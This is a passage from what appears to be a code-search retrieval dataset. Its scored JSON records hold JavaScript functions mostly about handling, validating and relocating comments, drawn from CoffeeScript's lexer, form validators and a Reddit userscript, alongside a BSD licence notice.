getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" }, { "docid": "9fbf2816cf2c2f2bcc4bb90471a0b65f", "score": "0.53867215", "text": "function checkSelectPropTypes(inst, props) {\n var owner = inst._currentElement._owner;\n LinkedValueUtils.checkPropTypes('select', props, owner);\n\n if (props.valueLink !== undefined && !didWarnValueLink) {\n process.env.NODE_ENV !== 'production' ? warning(false, '`valueLink` prop on `select` is deprecated; set `value` and `onChange` instead.') : void 0;\n didWarnValueLink = true;\n }\n\n for (var i = 0; i < valuePropNames.length; i++) {\n var propName = valuePropNames[i];\n if (props[propName] == null) {\n continue;\n }\n var isArray = Array.isArray(props[propName]);\n if (props.multiple && !isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be an array if ' + '`multiple` is true.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n } else if (!props.multiple && isArray) {\n process.env.NODE_ENV !== 'production' ? warning(false, 'The `%s` prop supplied to <select> must be a scalar ' + 'value if `multiple` is false.%s', propName, getDeclarationErrorAddendum(owner)) : void 0;\n }\n }\n}", "title": "" } ]
8305a0a38c8e749ec936573525f5a349
eslint maxlen: 0 Based on the comment attachment algorithm used in espree and estraverse. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
[ { "docid": "dc2334959c94290a65d66905f07d2d83", "score": "0.0", "text": "function last(stack) {\n return stack[stack.length - 1];\n}", "title": "" } ]
[ { "docid": "b1613dbd8a08c338be01a7b435e9a9eb", "score": "0.53033966", "text": "static get maxFileBufferLines() {\n return 10000;\n }", "title": "" }, { "docid": "2da51b1b84c4202fa60a24bdfbb8b49c", "score": "0.52585715", "text": "formatComment(str, maxwidth) {\n var sections = [];\n var words = str.split(\" \");\n var temp = \"\";\n\n words.forEach(function(item, index){\n if(temp.length > 0)\n {\n var concat = temp + ' ' + item;\n\n if(concat.length > maxwidth){\n sections.push(temp);\n temp = \"\";\n }\n else{\n if(index == (words.length-1))\n {\n sections.push(concat);\n return;\n }\n else{\n temp = concat;\n return;\n }\n }\n }\n\n if(index == (words.length-1))\n {\n sections.push(item);\n return;\n }\n\n if(item.length < maxwidth) {\n temp = item;\n }\n else {\n sections.push(item);\n }\n\n });\n\n return sections;\n }", "title": "" }, { "docid": "ca33842ecce2afad519742d184bf3133", "score": "0.5181145", "text": "makeStringLimiter (maxLength) {\n return (fullElemPath, elemContent) => {\n let elemLength = elemContent.length\n if (elemLength >= maxLength) {\n return `${fullElemPath}__LONG_TEXT__|${elemLength}|`\n } else {\n return `${fullElemPath}${elemContent}`\n }\n }\n }", "title": "" }, { "docid": "4e508af43b0d79050115d6dd730d0783", "score": "0.5054569", "text": "static get LOB_STRING_MAX_LENGTH() { return _LOB_STRING_MAX_LENGTH }", "title": "" }, { "docid": "eb700fc60b94e8fd423613df5baef119", "score": "0.5029239", "text": "function uselessComment (elt) {\n var text = elt.innerText;\n if (text.length > 100) return false;\n if (VERSION_RE.test(text)) return false;\n if (elt.querySelector('a')) return false;\n if (elt.querySelector('pre')) return false;\n if (elt.querySelector(':not(.emoji) img')) return false;\n return true;\n}", "title": "" }, { "docid": "be20f8ea6b6315319f2ba7bc4bcbf4bb", "score": "0.4959992", "text": "comment() {}", "title": "" }, { "docid": "a64980460d323bbd50beb225fe2036ca", "score": "0.49186218", "text": "function handleCommentsPage() {\r\n var url = document.location.href.split(\"#\");\r\n var frag = url.length > 1 ? url[1] : false;\r\n var b36tid = url[0].match(/\\/comments\\/([^\\/]+)/)[1];\r\n\r\n var row = getData(b36tid);\r\n\r\n var update, max_cid = 0, newmax = 0, seencount = 0;\r\n if (row) {\r\n newmax = max_cid = row[\"max_cid\"];\r\n seencount = row[\"seencount\"];\r\n }\r\n\r\n // One named anchor per comment, including deleted ones.\r\n // This matches the link itself now, but eh.\r\n var snap = document.evaluate('//div[contains(@class, \"entry\")]',\r\n document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);\r\n\r\n var elm, i, b36cid, cid, parentClass, comments = 0, jumped = false;\r\n for(elm = null, i = 0; (elm = snap.snapshotItem(i)); ++i) {\r\n // Check that this is an extant comment.\r\n parentClass = elm.parentNode.className;\r\n if (!parentClass.match('comment'))\r\n continue;\r\n\r\n ++comments;\r\n b36cid = parentClass.split(\"_\")[1].split(' ')[0].substr(1);\r\n cid = parseInt(b36cid, 36);\r\n if (cid > max_cid) {\r\n highlightUnread(elm);\r\n if (cid > newmax) {\r\n newmax = cid;\r\n if (frag == \"new\" && !jumped) {\r\n jumpToNewComment(b36cid);\r\n jumped = true;\r\n }\r\n }\r\n }\r\n }\r\n\r\n if (comments > 0) {\r\n setData(b36tid, {\"max_cid\": newmax, \"seencount\": comments});\r\n }\r\n\r\n }", "title": "" }, { "docid": "d973f46c8cbc33cff95fe6b2869002db", "score": "0.49030888", "text": "rescueStowawayComments() {\n const insertPlaceholder = function (token, j, tokens, method) {\n if (tokens[j][0] !== 'TERMINATOR') { tokens[method](generate('TERMINATOR', '\\n', tokens[j])); }\n return tokens[method](generate('JS', '', tokens[j], token));\n };\n\n const shiftCommentsForward = function (token, i, tokens) {\n // Find the next surviving token and attach this token’s comments to it,\n // with a flag that we know to output such comments *before* that\n // token’s own compilation. (Otherwise comments are output following\n // the token they’re attached to.)\n let j = i;\n while ((j !== tokens.length) && Array.from(DISCARDED).includes(tokens[j][0])) { j++; }\n if ((j !== tokens.length) && !Array.from(DISCARDED).includes(tokens[j][0])) {\n for (const comment of Array.from(token.comments)) { comment.unshift = true; }\n moveComments(token, tokens[j]);\n return 1;\n } // All following tokens are doomed!\n j = tokens.length - 1;\n insertPlaceholder(token, j, tokens, 'push');\n // The generated tokens were added to the end, not inline, so we don’t skip.\n return 1;\n };\n\n const shiftCommentsBackward = function (token, i, tokens) {\n // Find the last surviving token and attach this token’s comments to it.\n let j = i;\n while ((j !== -1) && Array.from(DISCARDED).includes(tokens[j][0])) { j--; }\n if ((j !== -1) && !Array.from(DISCARDED).includes(tokens[j][0])) {\n moveComments(token, tokens[j]);\n return 1;\n } // All previous tokens are doomed!\n insertPlaceholder(token, 0, tokens, 'unshift');\n // We added two tokens, so shift forward to account for the insertion.\n return 3;\n };\n\n return this.scanTokens((token, i, tokens) => {\n let dummyToken; let\n j;\n if (!token.comments) { return 1; }\n let ret = 1;\n if (Array.from(DISCARDED).includes(token[0])) {\n // This token won’t survive passage through the parser, so we need to\n // rescue its attached tokens and redistribute them to nearby tokens.\n // Comments that don’t start a new line can shift backwards to the last\n // safe token, while other tokens should shift forward.\n dummyToken = { comments: [] };\n j = token.comments.length - 1;\n while (j !== -1) {\n if ((token.comments[j].newLine === false) && (token.comments[j].here === false)) {\n dummyToken.comments.unshift(token.comments[j]);\n token.comments.splice(j, 1);\n }\n j--;\n }\n if (dummyToken.comments.length !== 0) {\n ret = shiftCommentsBackward(dummyToken, i - 1, tokens);\n }\n if (token.comments.length !== 0) {\n shiftCommentsForward(token, i, tokens);\n }\n } else {\n // If any of this token’s comments start a line—there’s only\n // whitespace between the preceding newline and the start of the\n // comment—and this isn’t one of the special `JS` tokens, then\n // shift this comment forward to precede the next valid token.\n // `Block.compileComments` also has logic to make sure that\n // “starting new line” comments follow or precede the nearest\n // newline relative to the token that the comment is attached to,\n // but that newline might be inside a `}` or `)` or other generated\n // token that we really want this comment to output after. Therefore\n // we need to shift the comments here, avoiding such generated and\n // discarded tokens.\n dummyToken = { comments: [] };\n j = token.comments.length - 1;\n while (j !== -1) {\n if (token.comments[j].newLine && !token.comments[j].unshift\n && !((token[0] === 'JS') && token.generated)) {\n dummyToken.comments.unshift(token.comments[j]);\n token.comments.splice(j, 1);\n }\n j--;\n }\n if (dummyToken.comments.length !== 0) {\n ret = shiftCommentsForward(dummyToken, i + 1, tokens);\n }\n }\n if ((token.comments != null ? token.comments.length : undefined) === 0) { delete token.comments; }\n return ret;\n });\n }", "title": "" }, { "docid": "22825295c72ecd710f0128b4ff39f2b1", "score": "0.48648486", "text": "function validateComments(input) {\n if (input.value.length < 20) {\n input.setCustomValidity(\"Дайте более развернутый ответ.\"); \n }\n else {\n // Длина комментария отвечает требованию, \n // поэтому очищаем сообщение об ошибке\n input.setCustomValidity(\"\");\n }\n }", "title": "" }, { "docid": "cbda1967414f102ec76961715a3826f6", "score": "0.48570678", "text": "get comment() {\n let a = this._o;\n if (a == null) {\n return null;\n }\n return a._a6(this._aa);\n }", "title": "" }, { "docid": "8a73ee6b232434e66105ad725f874093", "score": "0.480705", "text": "rescueStowawayComments() {\r\n\t\t\t\t\tvar insertPlaceholder, shiftCommentsBackward, shiftCommentsForward;\r\n\t\t\t\t\tinsertPlaceholder = function(token, j, tokens, method) {\r\n\t\t\t\t\t\tif (tokens[j][0] !== 'TERMINATOR') {\r\n\t\t\t\t\t\t\ttokens[method](generate('TERMINATOR', '\\n', tokens[j]));\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\treturn tokens[method](generate('JS', '', tokens[j], token));\r\n\t\t\t\t\t};\r\n\t\t\t\t\tshiftCommentsForward = function(token, i, tokens) {\r\n\t\t\t\t\t\tvar comment, j, k, len, ref, ref1, ref2;\r\n\t\t\t\t\t\t// Find the next surviving token and attach this token’s comments to it,\r\n\t\t\t\t\t\t// with a flag that we know to output such comments *before* that\r\n\t\t\t\t\t\t// token’s own compilation. (Otherwise comments are output following\r\n\t\t\t\t\t\t// the token they’re attached to.)\r\n\t\t\t\t\t\tj = i;\r\n\t\t\t\t\t\twhile (j !== tokens.length && (ref = tokens[j][0], indexOf.call(DISCARDED, ref) >= 0)) {\r\n\t\t\t\t\t\t\tj++;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tif (!(j === tokens.length || (ref1 = tokens[j][0], indexOf.call(DISCARDED, ref1) >= 0))) {\r\n\t\t\t\t\t\t\tref2 = token.comments;\r\n\t\t\t\t\t\t\tfor (k = 0, len = ref2.length; k < len; k++) {\r\n\t\t\t\t\t\t\t\tcomment = ref2[k];\r\n\t\t\t\t\t\t\t\tcomment.unshift = true;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tmoveComments(token, tokens[j]);\r\n\t\t\t\t\t\t\treturn 1; // All following tokens are doomed!\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\tj = tokens.length - 1;\r\n\t\t\t\t\t\t\tinsertPlaceholder(token, j, tokens, 'push');\r\n\t\t\t\t\t\t\t// The generated tokens were added to the end, not inline, so we don’t skip.\r\n\t\t\t\t\t\t\treturn 1;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t};\r\n\t\t\t\t\tshiftCommentsBackward = function(token, i, tokens) {\r\n\t\t\t\t\t\tvar j, ref, ref1;\r\n\t\t\t\t\t\t// Find the last surviving token and attach this token’s comments to it.\r\n\t\t\t\t\t\tj = i;\r\n\t\t\t\t\t\twhile (j !== -1 && (ref = tokens[j][0], indexOf.call(DISCARDED, ref) >= 0)) {\r\n\t\t\t\t\t\t\tj--;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tif (!(j === -1 || (ref1 = tokens[j][0], indexOf.call(DISCARDED, ref1) >= 0))) {\r\n\t\t\t\t\t\t\tmoveComments(token, tokens[j]);\r\n\t\t\t\t\t\t\treturn 1; // All previous tokens are doomed!\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\tinsertPlaceholder(token, 0, tokens, 'unshift');\r\n\t\t\t\t\t\t\t// We added two tokens, so shift forward to account for the insertion.\r\n\t\t\t\t\t\t\treturn 3;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t};\r\n\t\t\t\t\treturn this.scanTokens(function(token, i, tokens) {\r\n\t\t\t\t\t\tvar dummyToken, j, ref, ref1, ret;\r\n\t\t\t\t\t\tif (!token.comments) {\r\n\t\t\t\t\t\t\treturn 1;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tret = 1;\r\n\t\t\t\t\t\tif (ref = token[0], indexOf.call(DISCARDED, ref) >= 0) {\r\n\t\t\t\t\t\t\t// This token won’t survive passage through the parser, so we need to\r\n\t\t\t\t\t\t\t// rescue its attached tokens and redistribute them to nearby tokens.\r\n\t\t\t\t\t\t\t// Comments that don’t start a new line can shift backwards to the last\r\n\t\t\t\t\t\t\t// safe token, while other tokens should shift forward.\r\n\t\t\t\t\t\t\tdummyToken = {\r\n\t\t\t\t\t\t\t\tcomments: []\r\n\t\t\t\t\t\t\t};\r\n\t\t\t\t\t\t\tj = token.comments.length - 1;\r\n\t\t\t\t\t\t\twhile (j !== -1) {\r\n\t\t\t\t\t\t\t\tif (token.comments[j].newLine === false && token.comments[j].here === false) {\r\n\t\t\t\t\t\t\t\t\tdummyToken.comments.unshift(token.comments[j]);\r\n\t\t\t\t\t\t\t\t\ttoken.comments.splice(j, 1);\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\tj--;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tif (dummyToken.comments.length !== 0) {\r\n\t\t\t\t\t\t\t\tret = shiftCommentsBackward(dummyToken, i - 1, tokens);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tif (token.comments.length !== 0) {\r\n\t\t\t\t\t\t\t\tshiftCommentsForward(token, i, tokens);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t// If any of this token’s comments start a line—there’s only\r\n\t\t\t\t\t\t\t// whitespace between the preceding newline and the start of the\r\n\t\t\t\t\t\t\t// comment—and this isn’t one of the special `JS` tokens, then\r\n\t\t\t\t\t\t\t// shift this comment forward to precede the next valid token.\r\n\t\t\t\t\t\t\t// `Block.compileComments` also has logic to make sure that\r\n\t\t\t\t\t\t\t// “starting new line” comments follow or precede the nearest\r\n\t\t\t\t\t\t\t// newline relative to the token that the comment is attached to,\r\n\t\t\t\t\t\t\t// but that newline might be inside a `}` or `)` or other generated\r\n\t\t\t\t\t\t\t// token that we really want this comment to output after. Therefore\r\n\t\t\t\t\t\t\t// we need to shift the comments here, avoiding such generated and\r\n\t\t\t\t\t\t\t// discarded tokens.\r\n\t\t\t\t\t\t\tdummyToken = {\r\n\t\t\t\t\t\t\t\tcomments: []\r\n\t\t\t\t\t\t\t};\r\n\t\t\t\t\t\t\tj = token.comments.length - 1;\r\n\t\t\t\t\t\t\twhile (j !== -1) {\r\n\t\t\t\t\t\t\t\tif (token.comments[j].newLine && !token.comments[j].unshift && !(token[0] === 'JS' && token.generated)) {\r\n\t\t\t\t\t\t\t\t\tdummyToken.comments.unshift(token.comments[j]);\r\n\t\t\t\t\t\t\t\t\ttoken.comments.splice(j, 1);\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\tj--;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\tif (dummyToken.comments.length !== 0) {\r\n\t\t\t\t\t\t\t\tret = shiftCommentsForward(dummyToken, i + 1, tokens);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tif (((ref1 = token.comments) != null ? ref1.length : void 0) === 0) {\r\n\t\t\t\t\t\t\tdelete token.comments;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\treturn ret;\r\n\t\t\t\t\t});\r\n\t\t\t\t}", "title": "" }, { "docid": "2c27ed022fba7694b4ae471276b90c35", "score": "0.47991073", "text": "function autolink(e,t){var r,n,a,s,o,l=e.pos;return!(60!==e.src.charCodeAt(l)/* < */)&&(r=e.src.slice(l),!(0>r.indexOf(\">\")))&&((n=r.match(AUTOLINK_RE),n)?!(0>url_schemas.indexOf(n[1].toLowerCase()))&&(s=n[0].slice(1,-1),o=normalizeLink(s),!!e.parser.validateLink(s))&&(t||(e.push({type:\"link_open\",href:o,level:e.level}),e.push({type:\"text\",content:s,level:e.level+1}),e.push({type:\"link_close\",level:e.level})),e.pos+=n[0].length,!0):(a=r.match(EMAIL_RE),!!a)&&(s=a[0].slice(1,-1),o=normalizeLink(\"mailto:\"+s),!!e.parser.validateLink(o))&&(t||(e.push({type:\"link_open\",href:o,level:e.level}),e.push({type:\"text\",content:s,level:e.level+1}),e.push({type:\"link_close\",level:e.level})),e.pos+=a[0].length,!0))}// Regexps to match html elements", "title": "" }, { "docid": "2b6666b3cb5b61f2861b7f8fd2899a17", "score": "0.4785587", "text": "set comment(a) {\n if (this._al != a) {\n if (a != null && 255 < a.length) {\n throw new ArgumentException(2, ExcelUtils.ef(\"LE_ArgumentException_CommentTooLong\"), \"value\");\n }\n if (this._n) {\n let b = this._a[0].g(IChangeInfoContext_$type, String_$type, this, this._al, a);\n this._al = b.p1;\n }\n else {\n this._al = a;\n }\n }\n }", "title": "" }, { "docid": "09786b5d796f1d8bcf6ad5996d83b260", "score": "0.47756234", "text": "function validateComment() {\n if (comments.value.length < 15) {\n commentsError.innerHTML = 'El comentario debe tener al menos 15 caracteres'\n console.log('El comentario debe tener al menos 15 caracteres')\n completeComments = false\n } else {\n commentsError.innerHTML = ''\n completeComments = true\n }\n}", "title": "" }, { "docid": "2b8455c346246c65402c29a3a658f8db", "score": "0.47639388", "text": "function b(e){e.window_size=2*e.w_size,i(e.head),e.max_lazy_match=he[e.level].max_lazy,e.good_match=he[e.level].good_length,e.nice_match=he[e.level].nice_length,e.max_chain_length=he[e.level].max_chain,e.strstart=0,e.block_start=0,e.lookahead=0,e.insert=0,e.match_length=e.prev_length=$-1,e.match_available=0,e.ins_h=0}", "title": "" }, { "docid": "debcca7b464b386caae79d8a99a5ce43", "score": "0.47493377", "text": "function afficherCommentaires(){\n\n}", "title": "" }, { "docid": "e75a37c608cb5230009e2f3050b01f8b", "score": "0.47404063", "text": "function BufferUtils() {}", "title": "" }, { "docid": "9c2a4a3cb0c1ed059400adb1d7d4e035", "score": "0.47313905", "text": "function userComments() {}", "title": "" }, { "docid": "58633043fbc32a5723e50f9d9810daad", "score": "0.47299692", "text": "tidy() {\n if (this.error.length == 0) {\n while (this.doc.sentences.slice(-1)[0].flags.is_comment) {\n this.cancelled(this.doc.sentences.pop());\n }\n }\n }", "title": "" }, { "docid": "4645c607e50f9edd922b58f3fe99b378", "score": "0.47290567", "text": "function randComment(tryAgain){\n\n let rThreadNum;\n let goAgain = false;\n if(tryAgain){\n rThreadNum = tryAgain;\n }else{\n rThreadNum = Math.floor(Math.random() * threadArr.length);\n }\n let rCommentNum = Math.floor(Math.random() * threadArr[rThreadNum][1].data.children.length);\n\n //checks to see if comment has body on it and if it i the correct length\n if(threadArr[rThreadNum][1].data.children[rCommentNum].data.body == undefined){\n goAgain = true;\n lmtAtmpts++;\n }\n else{\n if(threadArr[rThreadNum][1].data.children[rCommentNum].data.body.length < filterObj.min && (!filterObj.isMax || threadArr[rThreadNum][1].data.children[rCommentNum].data.body.length > filterObj.max )){\n goAgain = true;\n lmtAtmpts++;\n }else{\n\n\n let attentionCheck = badCommReg.test(threadArr[rThreadNum][1].data.children[rCommentNum].data.body);\n\n if(!attentionCheck){\n\n\n //code that runs when comment is perfect\n let tmpText = []\n \n let finalStory = threadArr[rThreadNum][1].data.children[rCommentNum].data.body;\n finalStory = finalStory.replace(linkRegex, function(x){\n let linkReddURL;\n x = x.replace(linkRegexP1, function(y){\n y = y.split('')\n y.shift();\n y.pop();\n y = y.join('');\n return y;\n })\n x = x.replace(linkRegexP2, function(y){\n y = y.split('');\n y.shift();\n y.pop();\n y = y.join('');\n linkReddURL = y;\n return '';\n })\n x = '<a href=\"' + linkReddURL + '\" target=\"_blank\" >' + x + '</a>';\n return x;\n });\n\n let generalReddURL = /https:\\/\\/en.wikipedia.org\\/wiki\\/[\\S]*|https:\\/\\/youtu.be\\/[\\S]*|https:\\/\\/www.youtube.com\\/watch\\?[\\S]*/g;\n\n finalStory = finalStory.replace(generalReddURL, function(x){\n x = \"<a href='\" + x + \"' target='_blank' >\" + x + '</a>';\n return x;\n })\n\n finalStory = finalStory.split('');\n for(let i = 0; i < finalStory.length; i++){\n if(finalStory[i] == '\\n'){\n finalStory[i] = '<br />';\n }\n }\n finalStory = finalStory.join('');\n\n document.querySelector('.mainText').innerHTML = finalStory;\n fadeText();\n prevStories.arr.push(finalStory);\n if(prevStories.arr.length > 20){\n prevStories.arr.shift();\n }\n prevStories.currDisp = prevStories.arr.length-1;\n checkStoryArrow();\n threadArr.splice(rThreadNum, 1);\n }else{\n goAgain = true;\n }\n } \n }\n\n //makes randComment run again if it hasnt obtained correct length story\n if(goAgain){\n if(lmtAtmpts < 8){\n randComment(rThreadNum)\n }else{\n threadArr.splice(rThreadNum, 1);\n lmtAtmpts = 0;\n if(threadArr.length < 2){\n userCall = true;\n loadNum.runTrue = true;\n searchRedd();\n }else{\n randComment();\n }\n }\n }\n}", "title": "" }, { "docid": "e10b2008b83108b87f9634c48a7c7b8e", "score": "0.4714916", "text": "rescueStowawayComments() {\n var insertPlaceholder, shiftCommentsBackward, shiftCommentsForward;\n insertPlaceholder = function(token, j, tokens, method) {\n if (tokens[j][0] !== 'TERMINATOR') {\n tokens[method](generate('TERMINATOR', '\\n', tokens[j]));\n }\n return tokens[method](generate('JS', '', tokens[j], token));\n };\n shiftCommentsForward = function(token, i, tokens) {\n var comment, j, k, len, ref, ref1, ref2;\n // Find the next surviving token and attach this token’s comments to it,\n // with a flag that we know to output such comments *before* that\n // token’s own compilation. (Otherwise comments are output following\n // the token they’re attached to.)\n j = i;\n while (j !== tokens.length && (ref = tokens[j][0], indexOf.call(DISCARDED, ref) >= 0)) {\n j++;\n }\n if (!(j === tokens.length || (ref1 = tokens[j][0], indexOf.call(DISCARDED, ref1) >= 0))) {\n ref2 = token.comments;\n for (k = 0, len = ref2.length; k < len; k++) {\n comment = ref2[k];\n comment.unshift = true;\n }\n moveComments(token, tokens[j]);\n return 1; // All following tokens are doomed!\n } else {\n j = tokens.length - 1;\n insertPlaceholder(token, j, tokens, 'push');\n // The generated tokens were added to the end, not inline, so we don’t skip.\n return 1;\n }\n };\n shiftCommentsBackward = function(token, i, tokens) {\n var j, ref, ref1;\n // Find the last surviving token and attach this token’s comments to it.\n j = i;\n while (j !== -1 && (ref = tokens[j][0], indexOf.call(DISCARDED, ref) >= 0)) {\n j--;\n }\n if (!(j === -1 || (ref1 = tokens[j][0], indexOf.call(DISCARDED, ref1) >= 0))) {\n moveComments(token, tokens[j]);\n return 1; // All previous tokens are doomed!\n } else {\n insertPlaceholder(token, 0, tokens, 'unshift');\n // We added two tokens, so shift forward to account for the insertion.\n return 3;\n }\n };\n return this.scanTokens(function(token, i, tokens) {\n var dummyToken, j, ref, ref1, ret;\n if (!token.comments) {\n return 1;\n }\n ret = 1;\n if (ref = token[0], indexOf.call(DISCARDED, ref) >= 0) {\n // This token won’t survive passage through the parser, so we need to\n // rescue its attached tokens and redistribute them to nearby tokens.\n // Comments that don’t start a new line can shift backwards to the last\n // safe token, while other tokens should shift forward.\n dummyToken = {\n comments: []\n };\n j = token.comments.length - 1;\n while (j !== -1) {\n if (token.comments[j].newLine === false && token.comments[j].here === false) {\n dummyToken.comments.unshift(token.comments[j]);\n token.comments.splice(j, 1);\n }\n j--;\n }\n if (dummyToken.comments.length !== 0) {\n ret = shiftCommentsBackward(dummyToken, i - 1, tokens);\n }\n if (token.comments.length !== 0) {\n shiftCommentsForward(token, i, tokens);\n }\n } else {\n // If any of this token’s comments start a line—there’s only\n // whitespace between the preceding newline and the start of the\n // comment—and this isn’t one of the special `JS` tokens, then\n // shift this comment forward to precede the next valid token.\n // `Block.compileComments` also has logic to make sure that\n // “starting new line” comments follow or precede the nearest\n // newline relative to the token that the comment is attached to,\n // but that newline might be inside a `}` or `)` or other generated\n // token that we really want this comment to output after. Therefore\n // we need to shift the comments here, avoiding such generated and\n // discarded tokens.\n dummyToken = {\n comments: []\n };\n j = token.comments.length - 1;\n while (j !== -1) {\n if (token.comments[j].newLine && !token.comments[j].unshift && !(token[0] === 'JS' && token.generated)) {\n dummyToken.comments.unshift(token.comments[j]);\n token.comments.splice(j, 1);\n }\n j--;\n }\n if (dummyToken.comments.length !== 0) {\n ret = shiftCommentsForward(dummyToken, i + 1, tokens);\n }\n }\n if (((ref1 = token.comments) != null ? ref1.length : void 0) === 0) {\n delete token.comments;\n }\n return ret;\n });\n }", "title": "" }, { "docid": "addb3828bf8121d3bf00593807ab80ea", "score": "0.47130224", "text": "function validateInsertCommentData() {\n var commentTextArea = document.getElementById(\"comment-text-area-input\").value;\n\n var errorMessage = \"\";\n if (!checkStringIsValid(commentTextArea) || commentTextArea.length > 10000) {\n errorMessage += \"<li>The comment content is invalid (Probably is too long or empty)!</li>\";\n }\n\n if (errorMessage !== \"\") {\n ReadArticle_ShowInsertCommentError(errorMessage);\n return false;\n }\n return true;\n}", "title": "" }, { "docid": "1f7b2f5c8efaa28960243550b942cea0", "score": "0.4702452", "text": "function Comment() {}", "title": "" }, { "docid": "474de37862037bd463347e71e1e84792", "score": "0.46730304", "text": "function removeInternalJDLComments(content) {\n return content.replace(/\\/\\/[^\\n\\r]*/gm, '');\n}", "title": "" }, { "docid": "155f3e1f906deabe831ba7b98e31913c", "score": "0.46648347", "text": "constructor(doc) {\n super(doc.resolve(0), doc.resolve(doc.content.size))\n }", "title": "" }, { "docid": "3b80660d333c8db95d868f0c68fa3ae7", "score": "0.4664399", "text": "function buildReviewComments(suggestions) {\n const fileComments = [];\n suggestions.forEach((hunks, fileName) => {\n hunks.forEach(hunk => {\n const newContent = hunk.newContent.join('\\n');\n if (hunk.oldStart === hunk.oldEnd) {\n const singleComment = {\n path: fileName,\n body: `\\`\\`\\`suggestion\\n${newContent}\\n\\`\\`\\``,\n line: hunk.oldEnd,\n side: 'RIGHT',\n };\n fileComments.push(singleComment);\n }\n else {\n const comment = {\n path: fileName,\n body: `\\`\\`\\`suggestion\\n${newContent}\\n\\`\\`\\``,\n start_line: hunk.oldStart,\n line: hunk.oldEnd,\n side: 'RIGHT',\n start_side: 'RIGHT',\n };\n fileComments.push(comment);\n }\n });\n });\n return fileComments;\n}", "title": "" }, { "docid": "55922d4d0544cb2d089995876439bd22", "score": "0.46542314", "text": "get lineLimit() {\n return this.internalLineLimit;\n }", "title": "" }, { "docid": "55922d4d0544cb2d089995876439bd22", "score": "0.46542314", "text": "get lineLimit() {\n return this.internalLineLimit;\n }", "title": "" }, { "docid": "70037c589f86215e3d99e8b12505a1ee", "score": "0.4630177", "text": "function debug(aStr) {\n//@line 33 \"c:\\mozilla-source\\dom\\downloads\\DownloadsIPC.jsm\"\n}", "title": "" }, { "docid": "f1e48f852ce91623d2235e7755819f4f", "score": "0.4629911", "text": "_sanitizeDocs(data = []) { // eslint-disable-line no-unused-vars\n throw new Error(`${this.constructor.name} should implement _sanitizeDocs`);\n }", "title": "" }, { "docid": "22bb0ea29bd4ae8c7bfbb42c038f8129", "score": "0.4610305", "text": "function o146() {\n try {\nabort('Cannot enlarge memory arrays. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value ' + o145 + ', (2) compile with ALLOW_MEMORY_GROWTH which adjusts the size at runtime but prevents some optimizations, or (3) set Module.TOTAL_MEMORY before the program runs.');\n}catch(e){}\n}", "title": "" }, { "docid": "8c0cf8909f72f11532bd744e19dc8ee2", "score": "0.46097505", "text": "setupMutationCache_() {\n this.mutationCache_ = () => {\n let newComments = this.getComments_().length;\n if (newComments > this.totalComments_) {\n this.analyzeComments_(this.getComments_());\n }\n this.totalComments_ = newComments;\n };\n }", "title": "" }, { "docid": "4ed82c5a098d01e1e90d0e53d695a57c", "score": "0.46046057", "text": "function FeedComment(feed = true)\n{\n\tif (pos >= bufferSize)\n\t{\n\t\treturn false;\n\t}\n\n\tlet start = 0;\n\tlet end = bufferSize;\n\n\n\n\tlet nextPos = (pos + 1);\n\n\tlet name = Substring(buffer, pos, 1);\n\tlet nextName = \"\";\n\n\tif (nextPos < bufferSize)\n\t{\n\t\tnextName = Substring(buffer, nextPos, 1);\n\t}\n\n\n\n\tif\n\t(\n\t\t(name == \"/\") &&\n\t\t(nextName == \"/\")\n\t)\n\t{\n\t\tstart = pos;\n\n\t\tpos += 2;\n\n\t\twhile (pos < bufferSize)\n\t\t{\n\t\t\tlet nextPos = (pos + 1);\n\n\t\t\tlet name = Substring(buffer, pos, 1);\n\t\t\tlet nextName = \"\";\n\n\t\t\tif (nextPos < 